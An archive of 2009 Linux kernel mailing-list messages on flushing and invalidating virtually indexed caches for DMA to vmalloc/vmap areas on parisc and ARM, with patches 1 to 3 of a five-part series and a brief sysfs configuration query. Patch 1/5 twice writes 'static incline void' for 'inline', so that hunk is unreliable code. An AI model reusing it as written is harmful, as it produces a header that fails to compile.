Xref: news.gmane.org gmane.linux.ports.parisc:2119 gmane.linux.file-systems:35114 gmane.linux.kernel.cross-arch:4352
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2119>

On Tue, Sep 08, 2009 at 08:39:12PM +0000, James Bottomley wrote:
> On Tue, 2009-09-08 at 21:16 +0100, Russell King wrote:
> > On Tue, Sep 08, 2009 at 07:11:52PM +0000, James Bottomley wrote:
> > > The architecturally prescribed fix for this on parisc is to purge the
> > > TLB entry as well.  Without a TLB entry, the CPU is forbidden from doing
> > > speculative reads.  This obviously works only as long as the kernel
> > > never touches the page during DMA, of course ...
> > > 
> > > Isn't this also true for arm?
> > 
> > There appears to be nothing architected along those lines for ARM.
> > From the architectural point of view, any "normal memory" mapping is
> > a candidate for speculative accesses provided access is permitted via
> > the page permissions.
> > 
> > In other words, if the CPU is permitted to access a memory page, it
> > is a candidate for speculative accesses.
> 
> So the parisc architectural feature is simply a statement of fact for VI
> cache architectures: if you don't have a TLB entry for a page, you can't
> do cache operations for it.

That is also true for ARM - you can't perform cache maintainence on a
page without there being a valid page table entry...

> We have a software TLB interrupt and the
> CPU can't interrupt for a speculation, so it's restricted to the
> existing TLB entries in its cache for speculative move ins.

though this is where we differ, since the hardware walks the page tables
and doesn't require any interrupts to do this.

> So now we know what the problem is, if arm can't operate this way,
> what's your suggestion for fixing this ... I take it you have a DMA
> coherence index like we do that flushes the cache on DMA ops?

DMA on ARM continues to be totally non-coherent with the caches.  There
is no hardware help with this.  So, with these speculative accessing
CPUs, we will need to do software cache maintainence both before _and_
after the DMA in the case of DMA from device.

Maintainence before the DMA is required to ensure that the cache
doesn't write out dirty cache lines to the region which is being
DMA'd to.  Maintainence after the DMA is needed to invalidate any
stale data, whether it be pre-existing or speculatively loaded.

What this means is that we need to have the correct virtual address
in the unmap operation to ensure that subsequent CPU reads access
the newly DMA'd data.

The alternative solution I can see is to ensure that subsystems which
do DMA from (eg) vmalloc'd regions are not selectable for ARM.

It's also worth noting that we do have this restriction already in
place across _all_ ARM CPUs for the DMA APIs which take virtual
addresses - we only accept direct mapped kernel addresses via
those APIs since we use virt_to_phys() for L2 cache maintainence.
Walking page tables, especially with high PTE support (ARM has
joined those architectures supporting highmem), sounds to me very
unfunny.

-- 
Russell King
 Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
 maintainer of:
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Disable CONFIG_SYSFS_DEPRECATED_V2?
Date: Tue, 8 Sep 2009 23:00:48 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <119aab440909082000i4524a594qed512f7567afd30b@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1252465259 1810 80.91.229.12 (9 Sep 2009 03:00:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 03:00:59 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 09 05:00:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlDQR-0003jm-8u
	for glpp-linux-parisc@lo.gmane.org; Wed, 09 Sep 2009 05:00:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750893AbZIIDAr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2009 23:00:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751341AbZIIDAr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Sep 2009 23:00:47 -0400
Original-Received: from mail-bw0-f219.google.com ([209.85.218.219]:40346 "EHLO
	mail-bw0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750893AbZIIDAq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2009 23:00:46 -0400
Original-Received: by bwz19 with SMTP id 19so147416bwz.37
        for <linux-parisc@vger.kernel.org>; Tue, 08 Sep 2009 20:00:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        bh=mUw+PT9m81vwDsoxmm3PR10ERjXTUzHyop6IqlRglHQ=;
        b=AxZWY1epwIhfbq4R5eWGPmXyO9j6gu/rcVine834Rsh+reTctW7qWayxMacbe4m2M9
         FkfH4g0hBkgdiIGtWB1ceuW1fVy224T0eRVcHGBUzUtF5DnQTt2wR0oLYE5Ki7mzAC0/
         Xu+VG2Sq11UhsVz7mdhhZzNNtgbjSyfBlYT+M=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=AQiA/sgWnBnGaOEwfABjgDTqfJSf5Ry5lj6leNKE0ZKtq784M6oDMUQM20+HYDIpr3
         ZR2qRnTTRcPni/TO5SThz8UOOHqRaTWc3HqvTvqT/EWQGxO/k4gph6mVKLrMxCOdTq1U
         uhVp1ZglQ72qozdO4jdVrvfoL8khyIlbqr/fE=
Original-Received: by 10.223.58.208 with SMTP id i16mr6470077fah.22.1252465248488; Tue, 
	08 Sep 2009 20:00:48 -0700 (PDT)
X-Google-Sender-Auth: 04864385e8d3aec7
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2120
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2120>

Does anyone know if it's safe to disable CONFIG_SYSFS_DEPRECATED_V2
for kernels running on debian?

Do the debian tools support the new sysfs layout?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Disable CONFIG_SYSFS_DEPRECATED_V2?
Date: Tue, 08 Sep 2009 22:12:07 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <1252465927.13003.363.camel@mulgrave.site>
References: <119aab440909082000i4524a594qed512f7567afd30b@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252465944 3038 80.91.229.12 (9 Sep 2009 03:12:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 03:12:24 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 09 05:12:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlDbT-00067D-AI
	for glpp-linux-parisc@lo.gmane.org; Wed, 09 Sep 2009 05:12:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751462AbZIIDMK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2009 23:12:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752279AbZIIDMK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Sep 2009 23:12:10 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49996 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751462AbZIIDMJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2009 23:12:09 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id BFB5C8EE120;
	Tue,  8 Sep 2009 20:12:12 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Ty59Nc5y+KqP; Tue,  8 Sep 2009 20:12:12 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6BEF08EE0E2;
	Tue,  8 Sep 2009 20:12:11 -0700 (PDT)
In-Reply-To: <119aab440909082000i4524a594qed512f7567afd30b@mail.gmail.com>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2121
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2121>

On Tue, 2009-09-08 at 23:00 -0400, Carlos O'Donell wrote:
> Does anyone know if it's safe to disable CONFIG_SYSFS_DEPRECATED_V2
> for kernels running on debian?
> 
> Do the debian tools support the new sysfs layout?

Seems so ... I've got it unset on my debian testing systems.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.file-systems
Subject: Re: xfs failure on parisc (and presumably other VI cache systems)
 caused by I/O to vmalloc/vmap areas
Date: Wed, 09 Sep 2009 03:14:30 +0000
Lines: 70
Approved: news@gmane.org
Message-ID: <1252466070.13003.365.camel@mulgrave.site>
References: <1252434469.13003.3.camel@mulgrave.site>
	 <20090908190031.GF6538@flint.arm.linux.org.uk>
	 <1252437112.13003.39.camel@mulgrave.site>
	 <20090908201619.GG6538@flint.arm.linux.org.uk>
	 <1252442352.13003.132.camel@mulgrave.site>
	 <20090908213910.GH6538@flint.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252466093 3245 80.91.229.12 (9 Sep 2009 03:14:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 03:14:53 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: Russell King <rmk@arm.linux.org.uk>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Sep 09 05:14:45 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlDdr-00067D-A3
	for glka-linux-arch@lo.gmane.org; Wed, 09 Sep 2009 05:14:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752279AbZIIDOi (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 8 Sep 2009 23:14:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751326AbZIIDOi
	(ORCPT <rfc822;linux-arch-outgoing>); Tue, 8 Sep 2009 23:14:38 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:33349 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751191AbZIIDOh (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Tue, 8 Sep 2009 23:14:37 -0400
Original-Received: from relay2.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id B04B06CB00;
	Wed,  9 Sep 2009 05:14:39 +0200 (CEST)
In-Reply-To: <20090908213910.GH6538@flint.arm.linux.org.uk>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4353 gmane.linux.ports.parisc:2122 gmane.linux.file-systems:35146
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2122>

On Tue, 2009-09-08 at 22:39 +0100, Russell King wrote:
> On Tue, Sep 08, 2009 at 08:39:12PM +0000, James Bottomley wrote:
> > On Tue, 2009-09-08 at 21:16 +0100, Russell King wrote:
> > > On Tue, Sep 08, 2009 at 07:11:52PM +0000, James Bottomley wrote:
> > > > The architecturally prescribed fix for this on parisc is to purge the
> > > > TLB entry as well.  Without a TLB entry, the CPU is forbidden from doing
> > > > speculative reads.  This obviously works only as long as the kernel
> > > > never touches the page during DMA, of course ...
> > > > 
> > > > Isn't this also true for arm?
> > > 
> > > There appears to be nothing architected along those lines for ARM.
> > > From the architectural point of view, any "normal memory" mapping is
> > > a candidate for speculative accesses provided access is permitted via
> > > the page permissions.
> > > 
> > > In other words, if the CPU is permitted to access a memory page, it
> > > is a candidate for speculative accesses.
> > 
> > So the parisc architectural feature is simply a statement of fact for VI
> > cache architectures: if you don't have a TLB entry for a page, you can't
> > do cache operations for it.
> 
> That is also true for ARM - you can't perform cache maintainence on a
> page without there being a valid page table entry...
> 
> > We have a software TLB interrupt and the
> > CPU can't interrupt for a speculation, so it's restricted to the
> > existing TLB entries in its cache for speculative move ins.
> 
> though this is where we differ, since the hardware walks the page tables
> and doesn't require any interrupts to do this.
> 
> > So now we know what the problem is, if arm can't operate this way,
> > what's your suggestion for fixing this ... I take it you have a DMA
> > coherence index like we do that flushes the cache on DMA ops?
> 
> DMA on ARM continues to be totally non-coherent with the caches.  There
> is no hardware help with this.  So, with these speculative accessing
> CPUs, we will need to do software cache maintainence both before _and_
> after the DMA in the case of DMA from device.
> 
> Maintainence before the DMA is required to ensure that the cache
> doesn't write out dirty cache lines to the region which is being
> DMA'd to.  Maintainence after the DMA is needed to invalidate any
> stale data, whether it be pre-existing or speculatively loaded.
> 
> What this means is that we need to have the correct virtual address
> in the unmap operation to ensure that subsequent CPU reads access
> the newly DMA'd data.
> 
> The alternative solution I can see is to ensure that subsystems which
> do DMA from (eg) vmalloc'd regions are not selectable for ARM.
> 
> It's also worth noting that we do have this restriction already in
> place across _all_ ARM CPUs for the DMA APIs which take virtual
> addresses - we only accept direct mapped kernel addresses via
> those APIs since we use virt_to_phys() for L2 cache maintainence.
> Walking page tables, especially with high PTE support (ARM has
> joined those architectures supporting highmem), sounds to me very
> unfunny.

OK, so we can work with that.  This series of patches introduces both a
flush and an invalidate (one for pre and one for post).  With this, I'm
able to successfully use xfs filesystems on parisc (before, they mostly
refuse to mount because of journal corruption).

James



From - Thu Nov 08 21:04:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel.cross-arch
Subject: [PATCH 1/5] mm: add coherence API for DMA to vmalloc/vmap areas
Date: Wed, 09 Sep 2009 03:17:06 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <1252466226.13003.367.camel@mulgrave.site>
References: <1252434469.13003.3.camel@mulgrave.site>
	 <20090908190031.GF6538@flint.arm.linux.org.uk>
	 <1252437112.13003.39.camel@mulgrave.site>
	 <20090908201619.GG6538@flint.arm.linux.org.uk>
	 <1252442352.13003.132.camel@mulgrave.site>
	 <20090908213910.GH6538@flint.arm.linux.org.uk>
	 <1252466070.13003.365.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252466246 3527 80.91.229.12 (9 Sep 2009 03:17:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 03:17:26 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: Russell King <rmk@arm.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 09 05:17:19 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlDgL-00070B-Fb
	for glpp-linux-parisc@lo.gmane.org; Wed, 09 Sep 2009 05:17:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750778AbZIIDRM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2009 23:17:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752170AbZIIDRM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Sep 2009 23:17:12 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:33405 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750778AbZIIDRL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2009 23:17:11 -0400
Original-Received: from relay1.suse.de (relay-ext.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 04DE06CB00;
	Wed,  9 Sep 2009 05:17:14 +0200 (CEST)
In-Reply-To: <1252466070.13003.365.camel@mulgrave.site>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2123 gmane.linux.file-systems:35147 gmane.linux.kernel.cross-arch:4354
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2123>

On Virtually Indexed architectures (which don't do automatic alias
resolution in their caches), we have to flush via the correct
virtual address to prepare pages for DMA.  On some architectures
(like arm) we cannot prevent the CPU from doing data movein along
the alias (and thus giving stale read data), so we not only have to
introduce a flush API to push dirty cache lines out, but also an invalidate
API to kill inconsistent cache lines that may have moved in before
DMA changed the data

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 include/linux/highmem.h |    6 ++++++
 1 files changed, 6 insertions(+), 0 deletions(-)

diff --git a/include/linux/highmem.h b/include/linux/highmem.h
index 211ff44..9719952 100644
--- a/include/linux/highmem.h
+++ b/include/linux/highmem.h
@@ -17,6 +17,12 @@ static inline void flush_anon_page(struct vm_area_struct *vma, struct page *page
 static inline void flush_kernel_dcache_page(struct page *page)
 {
 }
+static incline void flush_kernel_dcache_addr(void *vaddr)
+{
+}
+static incline void invalidate_kernel_dcache_addr(void *vaddr)
+{
+}
 #endif
 
 #include <asm/kmap_types.h>
-- 
1.6.3.3



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel.cross-arch
Subject: [PATCH 2/5] parisc: add mm API for DMA to vmalloc/vmap areas
Date: Wed, 09 Sep 2009 03:18:17 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <1252466297.13003.369.camel@mulgrave.site>
References: <1252434469.13003.3.camel@mulgrave.site>
	 <20090908190031.GF6538@flint.arm.linux.org.uk>
	 <1252437112.13003.39.camel@mulgrave.site>
	 <20090908201619.GG6538@flint.arm.linux.org.uk>
	 <1252442352.13003.132.camel@mulgrave.site>
	 <20090908213910.GH6538@flint.arm.linux.org.uk>
	 <1252466070.13003.365.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252466318 3640 80.91.229.12 (9 Sep 2009 03:18:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 03:18:38 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: Russell King <rmk@arm.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 09 05:18:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlDhW-0007Cv-HO
	for glpp-linux-parisc@lo.gmane.org; Wed, 09 Sep 2009 05:18:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752673AbZIIDSZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2009 23:18:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752689AbZIIDSZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Sep 2009 23:18:25 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:33453 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752673AbZIIDSX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2009 23:18:23 -0400
Original-Received: from relay1.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 5B4C76CB00;
	Wed,  9 Sep 2009 05:18:26 +0200 (CEST)
In-Reply-To: <1252466070.13003.365.camel@mulgrave.site>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2124 gmane.linux.file-systems:35148 gmane.linux.kernel.cross-arch:4355
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2124>

We already have an API to flush a kernel page along an alias
address, so use it.  The TLB purge prevents the CPU from doing
speculative moveins on the flushed address, so we don't need to
implement and invalidate.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 arch/parisc/include/asm/cacheflush.h |    8 ++++++++
 1 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 7243951..2536a00 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -90,6 +90,14 @@ static inline void flush_kernel_dcache_page(struct page *page)
 {
 	flush_kernel_dcache_page_addr(page_address(page));
 }
+static inline void flush_kernel_dcache_addr(void *addr)
+{
+	flush_kernel_dcache_page_addr(addr);
+}
+static inline void invalidate_kernel_dcache_addr(void *addr)
+{
+	/* nop .. the flush prevents move in until the page is touched */
+}
 
 #ifdef CONFIG_DEBUG_RODATA
 void mark_rodata_ro(void);
-- 
1.6.3.3



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel.cross-arch
Subject: [PATCH 3/5] arm: add mm API for DMA to vmalloc/vmap areas
Date: Tue, 08 Sep 2009 22:20:09 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <1252466409.13003.371.camel@mulgrave.site>
References: <1252434469.13003.3.camel@mulgrave.site>
	 <20090908190031.GF6538@flint.arm.linux.org.uk>
	 <1252437112.13003.39.camel@mulgrave.site>
	 <20090908201619.GG6538@flint.arm.linux.org.uk>
	 <1252442352.13003.132.camel@mulgrave.site>
	 <20090908213910.GH6538@flint.arm.linux.org.uk>
	 <1252466070.13003.365.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252466431 3862 80.91.229.12 (9 Sep 2009 03:20:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 03:20:31 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: Russell King <rmk@arm.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 09 05:20:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlDjL-0007bu-1G
	for glpp-linux-parisc@lo.gmane.org; Wed, 09 Sep 2009 05:20:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751462AbZIIDUS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2009 23:20:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752279AbZIIDUS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Sep 2009 23:20:18 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:33561 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751436AbZIIDUQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2009 23:20:16 -0400
Original-Received: from relay2.suse.de (relay-ext.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 5E46B6CB00;
	Wed,  9 Sep 2009 05:20:19 +0200 (CEST)
In-Reply-To: <1252466070.13003.365.camel@mulgrave.site>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2125 gmane.linux.file-systems:35149 gmane.linux.kernel.cross-arch:4356
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2125>

ARM cannot prevent cache movein, so this patch implements both the
flush and invalidate pieces of the API.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 arch/arm/include/asm/cacheflush.h |   10 ++++++++++
 1 files changed, 10 insertions(+), 0 deletions(-)

diff --git a/arch/arm/include/asm/cacheflush.h b/arch/arm/include/asm/cacheflush.h
index 1a711ea..1104ee9 100644
--- a/arch/arm/include/asm/cacheflush.h
+++ b/arch/arm/include/asm/cacheflush.h
@@ -436,6 +436,16 @@ static inline void flush_kernel_dcache_page(struct page *page)
 	if ((cache_is_vivt() || cache_is_vipt_aliasing()) && !PageHighMem(page))
 		__cpuc_flush_dcache_page(page_address(page));
 }
+static inline void flush_kernel_dcache_addr(void *addr)
+{
+	if ((cache_is_vivt() || cache_is_vipt_aliasing()))
+		__cpuc_flush_dcache_page(addr);
+}
+static inline void invalidate_kernel_dcache_addr(void *addr)
+{
+	if ((cache_is_vivt() || cache_is_vipt_aliasing()))
+		__cpuc_flush_dcache_page(addr);
+}
 
 #define flush_dcache_mmap_lock(mapping) \
 	spin_lock_irq(&(mapping)->tree_lock)
-- 
